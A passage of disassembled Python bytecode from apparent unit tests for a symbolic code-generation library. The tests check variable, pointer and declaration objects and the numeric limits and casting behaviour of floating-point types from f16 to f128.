COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL str LOAD_FAST v CALL_FUNCTION LOAD_CONST 'Variable(x, type=real)' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL Variable LOAD_GLOBAL y LOAD_GLOBAL f32 LOAD_GLOBAL value_const BUILD_SET LOAD_CONST ('attrs',) CALL_FUNCTION STORE_FAST w LOAD_FAST w LOAD_ATTR symbol LOAD_GLOBAL y COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST w LOAD_ATTR type LOAD_GLOBAL f32 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL value_const LOAD_FAST w LOAD_ATTR attrs COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST w LOAD_ATTR func LOAD_FAST w LOAD_ATTR args CALL_FUNCTION LOAD_FAST w COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL Variable LOAD_GLOBAL n LOAD_GLOBAL Type LOAD_METHOD from_expr LOAD_GLOBAL n CALL_METHOD LOAD_CONST ('type',) CALL_FUNCTION STORE_FAST v_n LOAD_FAST v_n LOAD_ATTR type LOAD_GLOBAL integer COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST v_n LOAD_ATTR func LOAD_FAST v_n LOAD_ATTR args CALL_FUNCTION LOAD_FAST v_n COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL Variable LOAD_GLOBAL i LOAD_GLOBAL Type LOAD_METHOD from_expr LOAD_GLOBAL n CALL_METHOD LOAD_CONST ('type',) CALL_FUNCTION STORE_FAST v_i LOAD_FAST v_i LOAD_ATTR type LOAD_GLOBAL integer COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST v_i LOAD_FAST v_n COMPARE_OP != EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL Variable LOAD_METHOD deduced LOAD_GLOBAL i CALL_METHOD STORE_FAST a_i LOAD_FAST a_i LOAD_ATTR type LOAD_GLOBAL integer COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL Variable LOAD_METHOD deduced LOAD_GLOBAL Symbol LOAD_CONST 'x' LOAD_CONST True LOAD_CONST ('real',) CALL_FUNCTION CALL_METHOD LOAD_ATTR type LOAD_GLOBAL real COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST a_i LOAD_ATTR func LOAD_FAST a_i LOAD_ATTR args CALL_FUNCTION LOAD_FAST a_i COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL Variable LOAD_ATTR deduced LOAD_GLOBAL n LOAD_CONST 3.5 LOAD_CONST False LOAD_CONST ('value', 'cast_check') CALL_FUNCTION STORE_FAST v_n2 LOAD_FAST v_n2 LOAD_ATTR func LOAD_FAST v_n2 LOAD_ATTR args CALL_FUNCTION LOAD_FAST v_n2 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL abs LOAD_FAST v_n2 LOAD_ATTR value LOAD_CONST 3.5 BINARY_SUBTRACT CALL_FUNCTION LOAD_CONST 1e-15 COMPARE_OP < EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL raises LOAD_GLOBAL ValueError LOAD_CONST <code object <lambda> at 0x7fab82258780, file "f.py", line 407> LOAD_CONST 'test_Variable.<locals>.<lambda>' MAKE_FUNCTION CALL_FUNCTION POP_TOP LOAD_GLOBAL Variable LOAD_METHOD deduced LOAD_GLOBAL n CALL_METHOD STORE_FAST v_n3 LOAD_FAST v_n3 LOAD_ATTR type LOAD_GLOBAL integer COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL str LOAD_FAST v_n3 CALL_FUNCTION LOAD_CONST 'Variable(n, type=integer)' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL Variable LOAD_ATTR deduced LOAD_GLOBAL z LOAD_CONST 3 LOAD_CONST ('value',) CALL_FUNCTION LOAD_ATTR type LOAD_GLOBAL integer COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL Variable LOAD_ATTR deduced LOAD_GLOBAL z LOAD_CONST 3.0 LOAD_CONST ('value',) CALL_FUNCTION LOAD_ATTR type LOAD_GLOBAL real COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL Variable LOAD_ATTR deduced LOAD_GLOBAL z LOAD_CONST (3+1j) LOAD_CONST ('value',) CALL_FUNCTION LOAD_ATTR type LOAD_GLOBAL complex_ COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL Variable LOAD_ATTR deduced LOAD_GLOBAL n LOAD_CONST 3.5 LOAD_CONST True LOAD_CONST ('value', 'cast_check') CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL Pointer LOAD_GLOBAL x CALL_FUNCTION STORE_FAST p LOAD_FAST p LOAD_ATTR symbol LOAD_GLOBAL x COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST p LOAD_ATTR type LOAD_GLOBAL untyped COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL value_const LOAD_FAST p LOAD_ATTR attrs COMPARE_OP not in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL pointer_const LOAD_FAST p LOAD_ATTR attrs COMPARE_OP not in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST p LOAD_ATTR func LOAD_FAST p LOAD_ATTR args CALL_FUNCTION LOAD_FAST p COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL symbols LOAD_CONST 'u' LOAD_CONST True LOAD_CONST ('real',) CALL_FUNCTION STORE_FAST u LOAD_GLOBAL Pointer LOAD_FAST u LOAD_GLOBAL Type LOAD_METHOD from_expr LOAD_FAST u CALL_METHOD LOAD_GLOBAL value_const LOAD_GLOBAL pointer_const BUILD_SET LOAD_CONST ('type', 'attrs') CALL_FUNCTION STORE_FAST pu LOAD_FAST pu LOAD_ATTR symbol LOAD_FAST u COMPARE_OP is POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST pu LOAD_ATTR type LOAD_GLOBAL real COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL value_const LOAD_FAST pu LOAD_ATTR attrs COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL pointer_const LOAD_FAST pu LOAD_ATTR attrs COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST pu LOAD_ATTR func LOAD_FAST pu LOAD_ATTR args CALL_FUNCTION LOAD_FAST pu COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL symbols LOAD_CONST 'i' LOAD_CONST True LOAD_CONST ('integer',) CALL_FUNCTION STORE_FAST i LOAD_FAST pu LOAD_FAST i BINARY_SUBSCR STORE_FAST deref LOAD_FAST deref LOAD_ATTR indices LOAD_FAST i BUILD_TUPLE COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL symbols LOAD_CONST 'u' LOAD_CONST True LOAD_CONST ('real',) CALL_FUNCTION STORE_FAST u LOAD_GLOBAL Variable LOAD_FAST u LOAD_GLOBAL Type LOAD_METHOD from_expr LOAD_FAST u CALL_METHOD LOAD_CONST ('type',) CALL_FUNCTION STORE_FAST vu LOAD_GLOBAL Declaration LOAD_FAST vu CALL_FUNCTION LOAD_ATTR variable LOAD_ATTR type LOAD_GLOBAL real COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL Variable LOAD_GLOBAL n LOAD_GLOBAL Type LOAD_METHOD from_expr LOAD_GLOBAL n CALL_METHOD LOAD_CONST ('type',) CALL_FUNCTION STORE_FAST vn LOAD_GLOBAL Declaration LOAD_FAST vn CALL_FUNCTION LOAD_ATTR variable LOAD_ATTR type LOAD_GLOBAL integer COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL Variable LOAD_FAST u LOAD_GLOBAL Type LOAD_METHOD from_expr LOAD_FAST u CALL_METHOD LOAD_CONST 3.0 LOAD_GLOBAL value_const BUILD_SET LOAD_CONST ('value', 'attrs') CALL_FUNCTION STORE_FAST vuc LOAD_GLOBAL value_const LOAD_FAST vuc LOAD_ATTR attrs COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL pointer_const LOAD_FAST vuc LOAD_ATTR attrs COMPARE_OP not in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL Declaration LOAD_FAST vuc CALL_FUNCTION STORE_FAST decl LOAD_FAST decl LOAD_ATTR variable LOAD_FAST vuc COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL isinstance LOAD_FAST decl LOAD_ATTR variable LOAD_ATTR value LOAD_GLOBAL Float CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST decl LOAD_ATTR variable LOAD_ATTR value LOAD_CONST 3.0 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST decl LOAD_ATTR func LOAD_FAST decl LOAD_ATTR args CALL_FUNCTION LOAD_FAST decl COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST vuc LOAD_METHOD as_Declaration CALL_METHOD LOAD_FAST decl COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST vuc LOAD_ATTR as_Declaration LOAD_CONST None LOAD_CONST None LOAD_CONST ('value', 'attrs') CALL_FUNCTION LOAD_GLOBAL Declaration LOAD_FAST vu CALL_FUNCTION COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL Variable LOAD_GLOBAL y LOAD_GLOBAL integer LOAD_CONST 3 LOAD_CONST ('type', 'value') CALL_FUNCTION STORE_FAST vy LOAD_GLOBAL Declaration LOAD_FAST vy CALL_FUNCTION STORE_FAST decl2 LOAD_FAST decl2 LOAD_ATTR variable LOAD_FAST vy COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST decl2 LOAD_ATTR variable LOAD_ATTR value LOAD_GLOBAL Integer LOAD_CONST 3 CALL_FUNCTION COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL Variable LOAD_GLOBAL i LOAD_GLOBAL Type LOAD_METHOD from_expr LOAD_GLOBAL i CALL_METHOD LOAD_CONST 3.0 LOAD_CONST ('type', 'value') CALL_FUNCTION STORE_DEREF vi LOAD_GLOBAL Declaration LOAD_DEREF vi CALL_FUNCTION STORE_FAST decl3 LOAD_FAST decl3 LOAD_ATTR variable LOAD_ATTR type LOAD_GLOBAL integer COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST decl3 LOAD_ATTR variable LOAD_ATTR value LOAD_CONST 3.0 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL raises LOAD_GLOBAL ValueError LOAD_CLOSURE vi BUILD_TUPLE LOAD_CONST <code object <lambda> at 0x7fab82385030, file "f.py", line 466> LOAD_CONST 'test_Declaration.<locals>.<lambda>' MAKE_FUNCTION CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL Declaration LOAD_DEREF vi LOAD_CONST 42 CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL intc LOAD_ATTR name LOAD_GLOBAL String LOAD_CONST 'intc' CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL intc LOAD_ATTR args LOAD_GLOBAL intc LOAD_ATTR name BUILD_TUPLE COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL str LOAD_GLOBAL IntBaseType LOAD_CONST 'a' CALL_FUNCTION LOAD_ATTR name CALL_FUNCTION LOAD_CONST 'a' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL f16 LOAD_ATTR dig LOAD_CONST 3 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL f32 LOAD_ATTR dig LOAD_CONST 6 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL f64 LOAD_ATTR dig LOAD_CONST 15 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL f80 LOAD_ATTR dig LOAD_CONST 18 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL f128 LOAD_ATTR dig LOAD_CONST 33 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL f16 LOAD_ATTR decimal_dig LOAD_CONST 5 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL f32 LOAD_ATTR decimal_dig LOAD_CONST 9 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL f64 LOAD_ATTR decimal_dig LOAD_CONST 17 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL f80 LOAD_ATTR decimal_dig LOAD_CONST 21 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL f128 LOAD_ATTR decimal_dig LOAD_CONST 36 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL f16 LOAD_ATTR max_exponent LOAD_CONST 16 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL f32 LOAD_ATTR max_exponent LOAD_CONST 128 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL f64 LOAD_ATTR max_exponent LOAD_CONST 1024 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL f80 LOAD_ATTR max_exponent LOAD_CONST 16384 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL f128 LOAD_ATTR max_exponent LOAD_CONST 16384 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL f16 LOAD_ATTR min_exponent LOAD_CONST -13 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL f32 LOAD_ATTR min_exponent LOAD_CONST -125 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL f64 LOAD_ATTR min_exponent LOAD_CONST -1021 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL f80 LOAD_ATTR min_exponent LOAD_CONST -16381 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL f128 LOAD_ATTR min_exponent LOAD_CONST -16381 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL abs LOAD_GLOBAL f16 LOAD_ATTR eps LOAD_GLOBAL Float LOAD_CONST '0.00097656' LOAD_CONST 16 LOAD_CONST ('precision',) CALL_FUNCTION BINARY_TRUE_DIVIDE LOAD_CONST 1 BINARY_SUBTRACT CALL_FUNCTION LOAD_CONST 0.1 LOAD_CONST 10 LOAD_GLOBAL f16 LOAD_ATTR dig UNARY_NEGATIVE BINARY_POWER BINARY_MULTIPLY COMPARE_OP < EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL abs LOAD_GLOBAL f32 LOAD_ATTR eps LOAD_GLOBAL Float LOAD_CONST '1.1920929e-07' LOAD_CONST 32 LOAD_CONST ('precision',) CALL_FUNCTION BINARY_TRUE_DIVIDE LOAD_CONST 1 BINARY_SUBTRACT CALL_FUNCTION LOAD_CONST 0.1 LOAD_CONST 10 LOAD_GLOBAL f32 LOAD_ATTR dig UNARY_NEGATIVE BINARY_POWER BINARY_MULTIPLY COMPARE_OP < EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL abs LOAD_GLOBAL f64 LOAD_ATTR eps LOAD_GLOBAL Float LOAD_CONST '2.2204460492503131e-16' LOAD_CONST 64 LOAD_CONST ('precision',) CALL_FUNCTION BINARY_TRUE_DIVIDE LOAD_CONST 1 BINARY_SUBTRACT CALL_FUNCTION LOAD_CONST 0.1 LOAD_CONST 10 LOAD_GLOBAL f64 LOAD_ATTR dig UNARY_NEGATIVE BINARY_POWER BINARY_MULTIPLY COMPARE_OP < EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL abs LOAD_GLOBAL f80 LOAD_ATTR eps LOAD_GLOBAL Float LOAD_CONST '1.08420217248550443401e-19' LOAD_CONST 80 LOAD_CONST ('precision',) CALL_FUNCTION BINARY_TRUE_DIVIDE LOAD_CONST 1 BINARY_SUBTRACT CALL_FUNCTION LOAD_CONST 0.1 LOAD_CONST 10 LOAD_GLOBAL f80 LOAD_ATTR dig UNARY_NEGATIVE BINARY_POWER BINARY_MULTIPLY COMPARE_OP < EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL abs LOAD_GLOBAL f128 LOAD_ATTR eps LOAD_GLOBAL Float LOAD_CONST ' 1.92592994438723585305597794258492732e-34' LOAD_CONST 128 LOAD_CONST ('precision',) CALL_FUNCTION BINARY_TRUE_DIVIDE LOAD_CONST 1 BINARY_SUBTRACT CALL_FUNCTION LOAD_CONST 0.1 LOAD_CONST 10 LOAD_GLOBAL f128 LOAD_ATTR dig UNARY_NEGATIVE BINARY_POWER BINARY_MULTIPLY COMPARE_OP < EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL abs LOAD_GLOBAL f16 LOAD_ATTR max LOAD_GLOBAL Float LOAD_CONST '65504' LOAD_CONST 16 LOAD_CONST ('precision',) CALL_FUNCTION BINARY_TRUE_DIVIDE LOAD_CONST 1 BINARY_SUBTRACT CALL_FUNCTION LOAD_CONST 0.1 LOAD_CONST 10 LOAD_GLOBAL f16 LOAD_ATTR dig UNARY_NEGATIVE BINARY_POWER BINARY_MULTIPLY COMPARE_OP < EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL abs LOAD_GLOBAL f32 LOAD_ATTR max LOAD_GLOBAL Float LOAD_CONST '3.40282347e+38' LOAD_CONST 32 LOAD_CONST ('precision',) CALL_FUNCTION BINARY_TRUE_DIVIDE LOAD_CONST 1 BINARY_SUBTRACT CALL_FUNCTION LOAD_CONST 0.1 LOAD_CONST 10 LOAD_GLOBAL f32 LOAD_ATTR dig UNARY_NEGATIVE BINARY_POWER BINARY_MULTIPLY COMPARE_OP < EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL abs LOAD_GLOBAL f64 LOAD_ATTR max LOAD_GLOBAL Float LOAD_CONST '1.79769313486231571e+308' LOAD_CONST 64 LOAD_CONST ('precision',) CALL_FUNCTION BINARY_TRUE_DIVIDE LOAD_CONST 1 BINARY_SUBTRACT CALL_FUNCTION LOAD_CONST 0.1 LOAD_CONST 10 LOAD_GLOBAL f64 LOAD_ATTR dig UNARY_NEGATIVE BINARY_POWER BINARY_MULTIPLY COMPARE_OP < EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL abs LOAD_GLOBAL f80 LOAD_ATTR max LOAD_GLOBAL Float LOAD_CONST '1.18973149535723176502e+4932' LOAD_CONST 80 LOAD_CONST ('precision',) CALL_FUNCTION BINARY_TRUE_DIVIDE LOAD_CONST 1 BINARY_SUBTRACT CALL_FUNCTION LOAD_CONST 0.1 LOAD_CONST 10 LOAD_GLOBAL f80 LOAD_ATTR dig UNARY_NEGATIVE BINARY_POWER BINARY_MULTIPLY COMPARE_OP < EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL abs LOAD_GLOBAL f128 LOAD_ATTR max LOAD_GLOBAL Float LOAD_CONST '1.18973149535723176508575932662800702e+4932' LOAD_CONST 128 LOAD_CONST ('precision',) CALL_FUNCTION BINARY_TRUE_DIVIDE LOAD_CONST 1 BINARY_SUBTRACT CALL_FUNCTION LOAD_CONST 0.1 LOAD_CONST 10 LOAD_GLOBAL f128 LOAD_ATTR dig UNARY_NEGATIVE BINARY_POWER BINARY_MULTIPLY COMPARE_OP < EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL abs LOAD_GLOBAL f16 LOAD_ATTR tiny LOAD_GLOBAL Float LOAD_CONST '6.1035e-05' LOAD_CONST 16 LOAD_CONST ('precision',) CALL_FUNCTION BINARY_TRUE_DIVIDE LOAD_CONST 1 BINARY_SUBTRACT CALL_FUNCTION LOAD_CONST 0.1 LOAD_CONST 10 LOAD_GLOBAL f16 LOAD_ATTR dig UNARY_NEGATIVE BINARY_POWER BINARY_MULTIPLY COMPARE_OP < EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL abs LOAD_GLOBAL f32 LOAD_ATTR tiny LOAD_GLOBAL Float LOAD_CONST '1.17549435e-38' LOAD_CONST 32 LOAD_CONST ('precision',) CALL_FUNCTION BINARY_TRUE_DIVIDE LOAD_CONST 1 BINARY_SUBTRACT CALL_FUNCTION LOAD_CONST 0.1 LOAD_CONST 10 LOAD_GLOBAL f32 LOAD_ATTR dig UNARY_NEGATIVE BINARY_POWER BINARY_MULTIPLY COMPARE_OP < EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL abs LOAD_GLOBAL f64 LOAD_ATTR tiny LOAD_GLOBAL Float LOAD_CONST '2.22507385850720138e-308' LOAD_CONST 64 LOAD_CONST ('precision',) CALL_FUNCTION BINARY_TRUE_DIVIDE LOAD_CONST 1 BINARY_SUBTRACT CALL_FUNCTION LOAD_CONST 0.1 LOAD_CONST 10 LOAD_GLOBAL f64 LOAD_ATTR dig UNARY_NEGATIVE BINARY_POWER BINARY_MULTIPLY COMPARE_OP < EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL abs LOAD_GLOBAL f80 LOAD_ATTR tiny LOAD_GLOBAL Float LOAD_CONST '3.36210314311209350626e-4932' LOAD_CONST 80 LOAD_CONST ('precision',) CALL_FUNCTION BINARY_TRUE_DIVIDE LOAD_CONST 1 BINARY_SUBTRACT CALL_FUNCTION LOAD_CONST 0.1 LOAD_CONST 10 LOAD_GLOBAL f80 LOAD_ATTR dig UNARY_NEGATIVE BINARY_POWER BINARY_MULTIPLY COMPARE_OP < EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL abs LOAD_GLOBAL f128 LOAD_ATTR tiny LOAD_GLOBAL Float LOAD_CONST '3.3621031431120935062626778173217526e-4932' LOAD_CONST 128 LOAD_CONST ('precision',) CALL_FUNCTION BINARY_TRUE_DIVIDE LOAD_CONST 1 BINARY_SUBTRACT CALL_FUNCTION LOAD_CONST 0.1 LOAD_CONST 10 LOAD_GLOBAL f128 LOAD_ATTR dig UNARY_NEGATIVE BINARY_POWER BINARY_MULTIPLY COMPARE_OP < EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL f64 LOAD_METHOD cast_check LOAD_CONST 0.5 CALL_METHOD LOAD_GLOBAL Float LOAD_CONST 0.5 LOAD_CONST 17 CALL_FUNCTION COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL abs LOAD_GLOBAL f64 LOAD_METHOD cast_check LOAD_CONST 3.7 CALL_METHOD LOAD_CONST 3.7 BINARY_SUBTRACT CALL_FUNCTION LOAD_CONST 3e-17 COMPARE_OP < EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL isinstance LOAD_GLOBAL f64 LOAD_METHOD cast_check LOAD_CONST 3 CALL_METHOD LOAD_GLOBAL Float LOAD_GLOBAL float BUILD_TUPLE CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL f64 LOAD_METHOD cast_nocheck LOAD_GLOBAL oo CALL_METHOD LOAD_GLOBAL float LOAD_CONST 'inf' CALL_FUNCTION COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL f64 LOAD_METHOD cast_nocheck LOAD_GLOBAL oo UNARY_NEGATIVE CALL_METHOD LOAD_GLOBAL float LOAD_CONST '-inf' CALL_FUNCTION COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL f64 LOAD_METHOD cast_nocheck LOAD_GLOBAL float LOAD_GLOBAL oo CALL_FUNCTION CALL_METHOD LOAD_GLOBAL float LOAD_CONST 'inf' CALL_FUNCTION COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL f64 LOAD_METHOD cast_nocheck LOAD_GLOBAL float LOAD_GLOBAL oo UNARY_NEGATIVE CALL_FUNCTION CALL_METHOD LOAD_GLOBAL float LOAD_CONST '-inf' CALL_FUNCTION COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL math LOAD_METHOD isnan LOAD_GLOBAL f64 LOAD_METHOD cast_nocheck LOAD_GLOBAL nan CALL_METHOD CALL_METHOD EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL f32 LOAD_GLOBAL f64 COMPARE_OP != EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL f64 LOAD_GLOBAL f64 LOAD_ATTR func LOAD_GLOBAL f64 LOAD_ATTR args CALL_FUNCTION COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL raises LOAD_GLOBAL ValueError LOAD_CONST <code object <lambda> at 